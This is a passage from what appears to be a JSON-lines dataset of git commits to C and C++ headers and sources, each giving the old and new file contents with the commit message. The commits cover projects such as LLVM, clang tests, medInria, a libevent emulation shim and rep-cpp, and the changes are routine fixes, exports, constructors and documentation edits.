m_grid;\n\tstd::vector<Point> m_process;\n\tstd::vector<std::pair<double, double>> m_sample;\n\n\tint m_width;\n\tint m_height;\n\tdouble m_minDist;\n\tint m_pointCount;\n\tdouble m_cellSize;\n\tint m_gridWidth;\n\tint m_gridHeight;\n\n\tPoint GeneratePointAround(Point p) const;\n\tbool IsInRectangle(Point p) const;\n\tbool IsInNeighbourhood(Point p);\n\tstd::vector<Point*> GetCellsAround(Point p);\n};\n\n#endif","subject":"Copy Poisson Disk Sampling header file to library folder","message":"Copy Poisson Disk Sampling header file to library folder\n","lang":"C","license":"mit","repos":"utilForever\/PolyMapGenerator"}
{"commit":"5a7a1d9b287813559f13298575dba1de09040900","old_file":"inc\/angle.h","new_file":"inc\/angle.h","old_contents":"#pragma once\n#include <boost\/math\/constants\/constants.hpp>\n#include \"encoder.h\"\n\nnamespace angle {\ntemplate <typename T>\nT wrap(T angle) {\n    angle = std::fmod(angle, boost::math::constants::two_pi<T>());\n    if (angle >= boost::math::constants::pi<T>()) {\n        angle -= boost::math::constants::two_pi<T>();\n    }\n    if (angle < -boost::math::constants::pi<T>()) {\n        angle += boost::math::constants::two_pi<T>();\n    }\n    return angle;\n}\n\n\/*\n * Get angle from encoder count (enccnt_t is uint32_t)\n * Convert angle from enccnt_t (unsigned) to corresponding signed type and use negative\n * values for any count over half a revolution.\n *\/\ntemplate <typename T>\nT encoder_count(const Encoder& encoder) {\n    auto position = static_cast<std::make_signed<enccnt_t>::type>(encoder.count());\n    auto rev = static_cast<std::make_signed<enccnt_t>::type>(encoder.config().counts_per_rev);\n    if (position > rev \/ 2) {\n        position -= rev;\n    }\n    return static_cast<T>(position) \/ rev * boost::math::constants::two_pi<T>();\n}\n} \/\/ namespace angle\n","new_contents":"#pragma once\n#include <boost\/math\/constants\/constants.hpp>\n#include \"encoder.h\"\n#include \"encoderfoaw.h\"\n\nnamespace angle {\ntemplate <typename T>\nT wrap(T angle) {\n    angle = std::fmod(angle, boost::math::constants::two_pi<T>());\n    if (angle >= boost::math::constants::pi<T>()) {\n        angle -= boost::math::constants::two_pi<T>();\n    }\n    if (angle < -boost::math::constants::pi<T>()) {\n        angle += boost::math::constants::two_pi<T>();\n    }\n    return angle;\n}\n\n\/*\n * Get angle from encoder count (enccnt_t is uint32_t)\n * Convert angle from enccnt_t (unsigned) to corresponding signed type and use negative\n * values for any count over half a revolution.\n *\/\ntemplate <typename T>\nT encoder_count(const Encoder& encoder) {\n    auto position = static_cast<std::make_signed<enccnt_t>::type>(encoder.count());\n    auto rev = static_cast<std::make_signed<enccnt_t>::type>(encoder.config().counts_per_rev);\n    if (position > rev \/ 2) {\n        position -= rev;\n    }\n    return static_cast<T>(position) \/ rev * boost::math::constants::two_pi<T>();\n}\n\ntemplate <typename T, size_t N>\nT encoder_rate(const EncoderFoaw<T, N>& encoder) {\n    auto rev = static_cast<std::make_signed<enccnt_t>::type>(encoder.config().counts_per_rev);\n    return static_cast<T>(encoder.velocity()) \/ rev * boost::math::constants::two_pi<T>();\n}\n} \/\/ namespace angle\n","subject":"Add function to obtain encoder angular rate","message":"Add function to obtain encoder angular rate\n\nAdd function to angle namespace to obtain encoder angular rate in rad\/s.\nThis requires that the encoder object has a velocity() member function\nwhich means only EncoderFoaw for now.\n","lang":"C","license":"bsd-2-clause","repos":"oliverlee\/phobos,oliverlee\/phobos,oliverlee\/phobos,oliverlee\/phobos"}
{"commit":"03b0df95cdef76fcdbad84bb10817733bd03220f","old_file":"test\/CodeGen\/unwind-attr.c","new_file":"test\/CodeGen\/unwind-attr.c","old_contents":"\/\/ RUN: %clang_cc1 -fexceptions -emit-llvm -o - %s | FileCheck %s\n\/\/ RUN: %clang_cc1 -emit-llvm -o - %s | FileCheck -check-prefix NOEXC %s\n\nint opaque();\n\n\/\/ CHECK:       define [[INT:i.*]] @test0() {\n\/\/ CHECK-NOEXC: define [[INT:i.*]] @test0() nounwind {\nint test0(void) {\n  return opaque();\n}\n\n\/\/ <rdar:\/\/problem\/8087431>: locally infer nounwind at -O0\n\/\/ CHECK:       define [[INT:i.*]] @test1() nounwind {\n\/\/ CHECK-NOEXC: define [[INT:i.*]] @test1() nounwind {\nint test1(void) {\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -fexceptions -emit-llvm -o - %s | FileCheck %s\n\/\/ RUN: %clang_cc1 -emit-llvm -o - %s | FileCheck -check-prefix NOEXC %s\n\nint opaque();\n\n\/\/ CHECK:       define [[INT:i.*]] @test0() {\n\/\/ CHECK-NOEXC: define [[INT:i.*]] @test0() nounwind {\nint test0(void) {\n  return opaque();\n}\n\n\/\/ <rdar:\/\/problem\/8087431>: locally infer nounwind at -O0\n\/\/ CHECK:       define [[INT:i.*]] @test1() nounwind {\n\/\/ CHECK-NOEXC: define [[INT:i.*]] @test1() nounwind {\nint test1(void) {\n  return 0;\n}\n","subject":"Fix a warning on a test.","message":"Fix a warning on a test.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@110165 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"4450bf39371fd17df18f8eee181a5f77303f5eee","old_file":"src\/medCore\/medDataReaderWriter.h","new_file":"src\/medCore\/medDataReaderWriter.h","old_contents":"#ifndef MED_DATA_READER_WRITER_H\n#define MED_DATA_READER_WRITER_H\n\n#include <dtkCore\/dtkSmartPointer.h>\n#include <dtkCore\/dtkAbstractDataReader.h>\n#include <dtkCore\/dtkAbstractDataWriter.h>\n#include <dtkCore\/dtkAbstractData.h>\n\nstruct medDataReaderWriter {\n\n    typedef dtkSmartPointer<dtkAbstractDataReader> Reader;\n    typedef dtkSmartPointer<dtkAbstractDataWriter> Writer;\n    typedef dtkSmartPointer<dtkAbstractData>       Data;\n\n    static Reader reader(const QString& path);\n    static Writer writer(const QString& path,const dtkAbstractData* data);\n\n    static Data read(const QString& path);\n    static bool write(const QString& path,dtkAbstractData* data);\n    };\n\n#endif  \/\/  ! MED_DATA_READER_WRITER_H\n","new_contents":"#ifndef MED_DATA_READER_WRITER_H\n#define MED_DATA_READER_WRITER_H\n\n#include <dtkCore\/dtkSmartPointer.h>\n#include <dtkCore\/dtkAbstractDataReader.h>\n#include <dtkCore\/dtkAbstractDataWriter.h>\n#include <dtkCore\/dtkAbstractData.h>\n\n#include \"medCoreExport.h\"\n\nstruct MEDCORE_EXPORT medDataReaderWriter {\n\n    typedef dtkSmartPointer<dtkAbstractDataReader> Reader;\n    typedef dtkSmartPointer<dtkAbstractDataWriter> Writer;\n    typedef dtkSmartPointer<dtkAbstractData>       Data;\n\n    static Reader reader(const QString& path);\n    static Writer writer(const QString& path,const dtkAbstractData* data);\n\n    static Data read(const QString& path);\n    static bool write(const QString& path,dtkAbstractData* data);\n    };\n\n#endif  \/\/  ! MED_DATA_READER_WRITER_H\n","subject":"Correct for windows compilation (exports)","message":"Correct for windows compilation (exports)\n","lang":"C","license":"bsd-3-clause","repos":"NicolasSchnitzler\/medInria-public,aabadie\/medInria-public,aabadie\/medInria-public,rdebroiz\/medInria-public,NicolasSchnitzler\/medInria-public,rdebroiz\/medInria-public,NicolasSchnitzler\/medInria-public,rdebroiz\/medInria-public,aabadie\/medInria-public"}
{"commit":"7cb013f3d3f72a53c607c45492c26184283ac990","old_file":"examples\/ZXSpectrum\/cpusimple.c","new_file":"examples\/ZXSpectrum\/cpusimple.c","old_contents":"\/*\n * ZXSpectrum\n *\n *  Uses Z80 step core built in EDL\n *  Rest is C for now\n *\/\n\n#include <stdio.h>\n#include <stdint.h>\n\nvoid STEP(void);\nvoid RESET(void);\nvoid INTERRUPT(uint8_t);\n\nextern uint8_t CYCLES;\n\nvoid CPU_RESET()\n{\n\tRESET();\n}\n\nint CPU_STEP(int intClocks,int doDebug)\n{\n\tif (intClocks)\n\t{\n\t\tINTERRUPT(0xFF);\n\t\n\t\tif (CYCLES==0)\n\t\t{\n\t\t\tSTEP();\n\t\t}\n\t}\n\telse\n\t{\n\t\tSTEP();\n\t}\n\n\treturn CYCLES;\n}\n","new_contents":"\/*\n * ZXSpectrum\n *\n *  Uses Z80 step core built in EDL\n *  Rest is C for now\n *\/\n\n#include <stdio.h>\n#include <stdint.h>\n\nvoid STEP(void);\nvoid RESET(void);\nvoid INTERRUPT(uint8_t);\n\nextern uint16_t\tPC;\nextern uint8_t CYCLES;\nint Disassemble(unsigned int address,int registers);\n\nvoid CPU_RESET()\n{\n\tRESET();\n}\n\nint CPU_STEP(int intClocks,int doDebug)\n{\n\tif (doDebug)\n\t{\n\t\tDisassemble(PC,1);\n\t}\n\tif (intClocks)\n\t{\n\t\tINTERRUPT(0xFF);\n\t\n\t\tif (CYCLES==0)\n\t\t{\n\t\t\tSTEP();\n\t\t}\n\t}\n\telse\n\t{\n\t\tSTEP();\n\t}\n\n\treturn CYCLES;\n}\n","subject":"Put disassembly into simple core","message":"Put disassembly into simple core\n","lang":"C","license":"mit","repos":"SavourySnaX\/EDL,SavourySnaX\/EDL"}
{"commit":"44d20ecaf13cb0245ee562d234939e762b5b0921","old_file":"include\/agent.h","new_file":"include\/agent.h","old_contents":"#ifndef AGENT_CPP_H\n#define AGENT_CPP_H\n\n#include <vector>\n\n#include \"directive.h\"\n\n\/\/ forward declaration\nnamespace Url\n{\n    class Url;\n}\n\nnamespace Rep\n{\n    class Agent\n    {\n    public:\n        \/* The type for the delay. *\/\n        typedef float delay_t;\n\n        \/**\n         * Construct an agent.\n         *\/\n        explicit Agent(const std::string& host) :\n            directives_(), delay_(-1.0), sorted_(true), host_(host) {}\n\n        \/**\n         * Add an allowed directive.\n         *\/\n        Agent& allow(const std::string& query);\n\n        \/**\n         * Add a disallowed directive.\n         *\/\n        Agent& disallow(const std::string& query);\n\n        \/**\n         * Set the delay for this agent.\n         *\/\n        Agent& delay(delay_t value) {\n            delay_ = value;\n            return *this;\n        }\n\n        \/**\n         * Return the delay for this agent.\n         *\/\n        delay_t delay() const { return delay_; }\n\n        \/**\n         * A vector of the directives, in priority-sorted order.\n         *\/\n        const std::vector<Directive>& directives() const;\n\n        \/**\n         * Return true if the URL (either a full URL or a path) is allowed.\n         *\/\n        bool allowed(const std::string& path) const;\n\n        std::string str() const;\n\n    private:\n        bool is_external(const Url::Url& url) const;\n\n        mutable std::vector<Directive> directives_;\n        delay_t delay_;\n        mutable bool sorted_;\n        std::string host_;\n    };\n}\n\n#endif\n","new_contents":"#ifndef AGENT_CPP_H\n#define AGENT_CPP_H\n\n#include <vector>\n\n#include \"directive.h\"\n\n\/\/ forward declaration\nnamespace Url\n{\n    class Url;\n}\n\nnamespace Rep\n{\n    class Agent\n    {\n    public:\n        \/* The type for the delay. *\/\n        typedef float delay_t;\n\n        \/**\n         * Default constructor\n         *\/\n        Agent() : Agent(\"\") {}\n\n        \/**\n         * Construct an agent.\n         *\/\n        explicit Agent(const std::string& host) :\n            directives_(), delay_(-1.0), sorted_(true), host_(host) {}\n\n        \/**\n         * Add an allowed directive.\n         *\/\n        Agent& allow(const std::string& query);\n\n        \/**\n         * Add a disallowed directive.\n         *\/\n        Agent& disallow(const std::string& query);\n\n        \/**\n         * Set the delay for this agent.\n         *\/\n        Agent& delay(delay_t value) {\n            delay_ = value;\n            return *this;\n        }\n\n        \/**\n         * Return the delay for this agent.\n         *\/\n        delay_t delay() const { return delay_; }\n\n        \/**\n         * A vector of the directives, in priority-sorted order.\n         *\/\n        const std::vector<Directive>& directives() const;\n\n        \/**\n         * Return true if the URL (either a full URL or a path) is allowed.\n         *\/\n        bool allowed(const std::string& path) const;\n\n        std::string str() const;\n\n    private:\n        bool is_external(const Url::Url& url) const;\n\n        mutable std::vector<Directive> directives_;\n        delay_t delay_;\n        mutable bool sorted_;\n        std::string host_;\n    };\n}\n\n#endif\n","subject":"Add back default constructor for Agent.","message":"Add back default constructor for Agent.\n\nPreviously, this was removed in #28, but the Cython bindings in reppy\n*really* want there to be a default constructor, so I'm adding it back\nfor convenience.\n","lang":"C","license":"mit","repos":"seomoz\/rep-cpp,seomoz\/rep-cpp"}
{"commit":"d799cd9b227334a81c4c98068f09bad8c4be27c1","old_file":"src\/libwatcher\/watcherGlobalFunctions.h","new_file":"src\/libwatcher\/watcherGlobalFunctions.h","old_contents":"#ifndef WATCHER_GLOBAL_FUNCTIONS\n#define WATCHER_GLOBAL_FUNCTIONS\n\n#include <boost\/asio\/ip\/address.hpp>\n#include <boost\/serialization\/split_free.hpp>\n\nBOOST_SERIALIZATION_SPLIT_FREE(boost::asio::ip::address);\n\nnamespace boost \n{\n    namespace serialization \n    {\n        template<class Archive>\n            void save(Archive & ar, const boost::asio::ip::address & a, const unsigned int version)\n            {\n                std::string tmp=a.to_string();\n                ar & tmp;\n            }\n\n        template<class Archive>\n            void load(Archive & ar, boost::asio::ip::address & a, const unsigned int version)\n            {\n                std::string tmp;\n                ar & tmp;\n                a=boost::asio::ip::address::from_string(tmp);\n            }\n    }\n}\n\n#endif \/\/  WATCHER_GLOBAL_FUNCTIONS\n","new_contents":"#ifndef WATCHER_GLOBAL_FUNCTIONS\n#define WATCHER_GLOBAL_FUNCTIONS\n\n#include <boost\/serialization\/split_free.hpp>\n#include \"watcherTypes.h\"\n\nBOOST_SERIALIZATION_SPLIT_FREE(boost::asio::ip::address);\n\nnamespace boost \n{\n    namespace serialization \n    {\n        template<class Archive>\n            void save(Archive & ar, const watcher::NodeIdentifier &a, const unsigned int version)\n            {\n                std::string tmp=a.to_string();\n                ar & tmp;\n            }\n\n        template<class Archive>\n            void load(Archive & ar, watcher::NodeIdentifier &a, const unsigned int version)\n            {\n                std::string tmp;\n                ar & tmp;\n                a=boost::asio::ip::address::from_string(tmp);\n            }\n    }\n}\n\n#endif \/\/  WATCHER_GLOBAL_FUNCTIONS\n","subject":"Use watcher::NodeIdentifier in place of boost::asio::address","message":"Use watcher::NodeIdentifier in place of boost::asio::address\n","lang":"C","license":"agpl-3.0","repos":"glawler\/watcher-visualization,glawler\/watcher-visualization,glawler\/watcher-visualization,glawler\/watcher-visualization,glawler\/watcher-visualization"}
{"commit":"1a78a1e8a8b323fe34ef21e9b4cc8184379809f3","old_file":"src\/JpegEnc\/stdafx.h","new_file":"src\/JpegEnc\/stdafx.h","old_contents":"\/\/ stdafx.h : include file for standard system include files,\n\/\/ or project specific include files that are used frequently, but\n\/\/ are changed infrequently\n\/\/\n\n#pragma once\n\n#include \"targetver.h\"\n\n#include <stdio.h>\n#include <tchar.h>\n\n\n\n\/\/ TODO: reference additional headers your program requires here\n","new_contents":"\/\/ stdafx.h : include file for standard system include files,\n\/\/ or project specific include files that are used frequently, but\n\/\/ are changed infrequently\n\/\/\n\n#pragma once\n\n#include \"targetver.h\"\n\n#include <cassert>\n","subject":"Remove unused headers and add cassert to PCH.","message":"Remove unused headers and add cassert to PCH.\n","lang":"C","license":"bsd-3-clause","repos":"dwarfcrank\/yolo-dangerzone,dwarfcrank\/yolo-dangerzone"}
{"commit":"c723875e377f92710bae4e55fbafb7ba8ea6220c","old_file":"src\/boundaryCondition.h","new_file":"src\/boundaryCondition.h","old_contents":"\/***************************************************************************\/\/**\n* \\file boundaryCondition.h\n* \\author Krishnan, A. (anush@bu.edu)\n* \\brief Definition of the class \\c boundaryCondition\n*\/\n\n#pragma once\n\n#include <string>\n#include <sstream>\n#include \"types.h\"\n#include \"parameterDB.h\"\n\n\/**\n* \\class boundaryCondition\n* \\brief Store the boundary conditions for a given system\n*\/\nclass boundaryCondition\n{\npublic:\n\tbcType type; \/\/\/< type of boundary condition\n\treal  value; \/\/\/< numerical value associated with the boundary condition\n\t\n\t\/**\n\t* \\brief Constructor of the class \\c boundaryCondition.\n\t*\n\t* Initialize with a Dirichlet-type boundary condition\n\t* with a value sets to zero.\n\t*\n\t*\/\n\tboundaryCondition() : type(DIRICHLET), value(0) {};\n\n\t\/**\n\t* \\brief Other constructor of the class \\c boundaryCondition.\n\t*\n\t* Initialize with a given boundary condition type\n\t* and a given value.\n\t*\n\t*\/\n\tboundaryCondition(bcType _type, real _value) : type(_type), value(_value) {}; \n\n  \/*const char *print()\n  {\n    std::stringstream ss; \n    ss << toString(this->type);\n    ss << \" : \";\n    ss << this->value;\n    std::string st = ss.str();\n    \/\/std::cout << st << std::endl;\n    return ss.str().c_str();\n  }*\/\n};\n","new_contents":"\/***************************************************************************\/\/**\n * \\file boundaryCondition.h\n * \\author Anush Krishnan (anush@bu.edu)\n * \\brief Definition of the class \\c boundaryCondition.\n *\/\n\n\n#pragma once\n\n#include <string>\n#include <sstream>\n#include \"types.h\"\n#include \"parameterDB.h\"\n\n\n\/**\n * \\class boundaryCondition\n * \\brief Stores the boundary conditions for a given system.\n *\/\nclass boundaryCondition\n{\npublic:\n\tbcType type; \/\/\/< type of boundary condition\n\treal  value; \/\/\/< numerical value associated with the boundary condition\n\t\n\t\/**\n\t * \\brief Constructor of the class \\c boundaryCondition.\n\t *\n\t * Boundary condition initialized with a Dirichlet-type with\n\t * with a value sets to zero.\n\t *\n\t *\/\n\tboundaryCondition() : type(DIRICHLET), value(0) {};\n\n\t\/**\n\t * \\brief Other constructor of the class \\c boundaryCondition.\n\t *\n\t * Boundary condition initialized with a given type and a given value.\n\t *\n\t *\/\n\tboundaryCondition(bcType _type, real _value) : type(_type), value(_value) {}; \n\n  \/*const char *print()\n  {\n    std::stringstream ss; \n    ss << toString(this->type);\n    ss << \" : \";\n    ss << this->value;\n    std::string st = ss.str();\n    \/\/std::cout << st << std::endl;\n    return ss.str().c_str();\n  }*\/\n};\n","subject":"Update Doxygen documentation with conventions","message":"Update Doxygen documentation with conventions\n","lang":"C","license":"mit","repos":"barbagroup\/cuIBM,barbagroup\/cuIBM,barbagroup\/cuIBM"}
{"commit":"a7e170979205d11da9e41c4d9c0a032a0f9a6b2b","old_file":"src\/libevent2-emul.h","new_file":"src\/libevent2-emul.h","old_contents":"#ifndef EVENT2_EVENT_H\n#define EVENT2_EVENT_H\n\n#define SJ_LIBEVENT_EMULATION 1\n\n#include <event.h>\n#include <evutil.h>\n#include \"qt4compat.h\"\n\ntypedef int evutil_socket_t;\ntypedef void(*event_callback_fn)(evutil_socket_t, short, void*);\n\nQ_DECL_HIDDEN inline struct event* event_new(struct event_base* base, evutil_socket_t fd, short int events, event_callback_fn callback, void* callback_arg)\n{\n\tstruct event* e = new struct event;\n\tevent_set(e, fd, events, callback, callback_arg);\n\tevent_base_set(base, e);\n\treturn e;\n}\n\nQ_DECL_HIDDEN inline void event_free(struct event* e)\n{\n\tdelete e;\n}\n\n#endif\n","new_contents":"#ifndef EVENT2_EVENT_H\n#define EVENT2_EVENT_H\n\n#define SJ_LIBEVENT_EMULATION 1\n\n#include <event.h>\n#ifndef EV_H_\n\/\/ libevent emulation by libev\n#\tinclude <evutil.h>\n#endif\n#include \"qt4compat.h\"\n\ntypedef int evutil_socket_t;\ntypedef void(*event_callback_fn)(evutil_socket_t, short, void*);\n\nQ_DECL_HIDDEN inline struct event* event_new(struct event_base* base, evutil_socket_t fd, short int events, event_callback_fn callback, void* callback_arg)\n{\n\tstruct event* e = new struct event;\n\tevent_set(e, fd, events, callback, callback_arg);\n\tevent_base_set(base, e);\n\treturn e;\n}\n\nQ_DECL_HIDDEN inline void event_free(struct event* e)\n{\n\tdelete e;\n}\n\n#ifdef EV_H_\nQ_DECL_HIDDEN inline int event_reinit(struct event_base* base)\n{\n\tQ_UNUSED(base);\n\tqWarning(\"%s emulation is not supported.\", Q_FUNC_INFO);\n\treturn 1;\n}\n\n#define evutil_gettimeofday(tv, tz)    gettimeofday((tv), (tz))\n#define evutil_timeradd(tvp, uvp, vvp) timeradd((tvp), (uvp), (vvp))\n#define evutil_timersub(tvp, uvp, vvp) timersub((tvp), (uvp), (vvp))\n#define evutil_timercmp(tvp, uvp, cmp)        \\\n\t(((tvp)->tv_sec == (uvp)->tv_sec) ?       \\\n\t\t((tvp)->tv_usec cmp (uvp)->tv_usec) : \\\n\t\t((tvp)->tv_sec cmp (uvp)->tv_sec))\n\n#endif\n\n#endif\n","subject":"Support for libevent emulation with libev","message":"Support for libevent emulation with libev\n\nHello to CentOS where libev-devel cannot coexist with libevent2-devel\n","lang":"C","license":"mit","repos":"sjinks\/qt_eventdispatcher_libevent,sjinks\/qt_eventdispatcher_libevent,sjinks\/qt_eventdispatcher_libevent"}
{"commit":"d828e340a80f268a6e51d451a75fb6c2282e17b1","old_file":"include\/llvm\/ADT\/HashExtras.h","new_file":"include\/llvm\/ADT\/HashExtras.h","old_contents":"\/\/===-- llvm\/ADT\/HashExtras.h - Useful functions for STL hash ---*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file contains some templates that are useful if you are working with the\n\/\/ STL Hashed containers.\n\/\/\n\/\/ No library is required when using these functinons.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_ADT_HASHEXTRAS_H\n#define LLVM_ADT_HASHEXTRAS_H\n\n#include \"llvm\/ADT\/hash_map\"\n#include <string>\n\n\/\/ Cannot specialize hash template from outside of the std namespace.\nnamespace HASH_NAMESPACE {\n\ntemplate <> struct hash<std::string> {\n  size_t operator()(std::string const &str) const {\n    return hash<char const *>()(str.c_str());\n  }\n};\n\n\/\/ Provide a hash function for arbitrary pointers...\ntemplate <class T> struct hash<T *> {\n  inline size_t operator()(const T *Val) const {\n    return reinterpret_cast<size_t>(Val);\n  }\n};\n\n}  \/\/ End namespace std\n\n#endif\n","new_contents":"\/\/===-- llvm\/ADT\/HashExtras.h - Useful functions for STL hash ---*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file contains some templates that are useful if you are working with the\n\/\/ STL Hashed containers.\n\/\/\n\/\/ No library is required when using these functinons.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_ADT_HASHEXTRAS_H\n#define LLVM_ADT_HASHEXTRAS_H\n\n#include \"llvm\/ADT\/hash_map\"\n#include <string>\n\n\/\/ Cannot specialize hash template from outside of the std namespace.\nnamespace HASH_NAMESPACE {\n\n\/\/ Provide a hash function for arbitrary pointers...\ntemplate <class T> struct hash<T *> {\n  inline size_t operator()(const T *Val) const {\n    return reinterpret_cast<size_t>(Val);\n  }\n};\n\ntemplate <> struct hash<std::string> {\n  size_t operator()(std::string const &str) const {\n    return hash<char const *>()(str.c_str());\n  }\n};\n\n}  \/\/ End namespace std\n\n#endif\n","subject":"Define the pointer hash struct before the string one, to improve compatibility with ICC. Patch contributed by Bjørn Wennberg.","message":"Define the pointer hash struct before the string one, to improve compatibility\nwith ICC.  Patch contributed by Bjørn Wennberg.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@18663 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap"}
{"commit":"0755c21f72f88bf986ad22c74a31f1c5f610f6c7","old_file":"TelepathyQt4Yell\/Farstream\/types.h","new_file":"TelepathyQt4Yell\/Farstream\/types.h","old_contents":"\/*\n * This file is part of TelepathyQt4Yell\n *\n * Copyright (C) 2011 Collabora Ltd. <http:\/\/www.collabora.co.uk\/>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#ifndef _TelepathyQt4Yell_Farstream_types_h_HEADER_GUARD_\n#define _TelepathyQt4Yell_Farstream_types_h_HEADER_GUARD_\n\n#ifndef IN_TELEPATHY_QT4_YELL_FARSTREAM_HEADER\n#error IN_TELEPATHY_QT4_YELL_FARSTREAM_HEADER\n#endif\n\n#include <TelepathyQt4\/Types>\n\nnamespace Tpy\n{\n\nclass FarstreamChannelFactory;\n\ntypedef Tp::SharedPtr<FarstreamChannelFactory> FarstreamChannelFactoryPtr;\n\n} \/\/ Tpy\n\n#endif\n","new_contents":"\/*\n * This file is part of TelepathyQt4Yell\n *\n * Copyright (C) 2011 Collabora Ltd. <http:\/\/www.collabora.co.uk\/>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#ifndef _TelepathyQt4Yell_Farstream_types_h_HEADER_GUARD_\n#define _TelepathyQt4Yell_Farstream_types_h_HEADER_GUARD_\n\n#ifndef IN_TELEPATHY_QT4_YELL_FARSTREAM_HEADER\n#error IN_TELEPATHY_QT4_YELL_FARSTREAM_HEADER\n#endif\n\n#include <TelepathyQt4Yell\/Types>\n\nnamespace Tpy\n{\n\nclass FarstreamChannelFactory;\n\ntypedef Tp::SharedPtr<FarstreamChannelFactory> FarstreamChannelFactoryPtr;\n\n} \/\/ Tpy\n\n#endif\n","subject":"Include TelepathyQt4Yell\/Types instead of TelepathyQt4\/Types.","message":"Farstream\/Types: Include TelepathyQt4Yell\/Types instead of TelepathyQt4\/Types.\n","lang":"C","license":"lgpl-2.1","repos":"freedesktop-unofficial-mirror\/telepathy__telepathy-qt4-yell,mck182\/telepathy-qt4-yell,mck182\/telepathy-qt4-yell,mck182\/telepathy-qt4-yell,freedesktop-unofficial-mirror\/telepathy__telepathy-qt4-yell,freedesktop-unofficial-mirror\/telepathy__telepathy-qt4-yell,mck182\/telepathy-qt4-yell,freedesktop-unofficial-mirror\/telepathy__telepathy-qt4-yell"}
{"commit":"c13b3fdb2593a7af3281755e2b1ece4dd51ffdb2","old_file":"reporting.h","new_file":"reporting.h","old_contents":"\/* see LICENSE file for copyright and license details *\/\n\/* report errors or warnings *\/\n\nextern char *argv0;\nextern int debug;\nextern int interactive_mode;\n\n#define reportprint(E, M, ...) {                                                      \\\n\tif (debug)                                                                    \\\n\t\tfprintf(stderr, \"%s:%d: %s: \" M \"\\n\", __FILE__, __LINE__,             \\\n\t\t        !E || interactive_mode ? \"warning\" : \"error\", ##__VA_ARGS__); \\\n\telse                                                                          \\\n\t\tfprintf(stderr, \"%s: \" M \"\\n\", argv0, ##__VA_ARGS__);                 \\\n}\n\n#define reporterr(M, ...) {               \\\n\treportprint(1, M, ##__VA_ARGS__); \\\n\texit(1);                          \\\n}\n#define _reporterr(M, ...) {              \\\n\treportprint(1, M, ##__VA_ARGS__); \\\n\t_exit(1);                         \\\n}\n#define report(M, ...) {                  \\\n\treportprint(0, M, ##__VA_ARGS__); \\\n\tif (!interactive_mode)            \\\n\t\texit(1);                  \\\n}\n#define reportret(R, M, ...) {            \\\n\treportprint(0, M, ##__VA_ARGS__); \\\n\tif (!interactive_mode)            \\\n\t\texit(1);                  \\\n\telse                              \\\n\t\treturn R;                 \\\n}\n#define reportvar(V, M) { \\\n\tV = M;            \\\n\treturn NULL;      \\\n}\n","new_contents":"\/* see LICENSE file for copyright and license details *\/\n\/* report errors or warnings *\/\n\nextern char *argv0;\nextern int debug;\nextern int interactive_mode;\n\n#define reportprint(E, M, ...) do {                                                   \\\n\tif (debug)                                                                    \\\n\t\tfprintf(stderr, \"%s:%d: %s: \" M \"\\n\", __FILE__, __LINE__,             \\\n\t\t        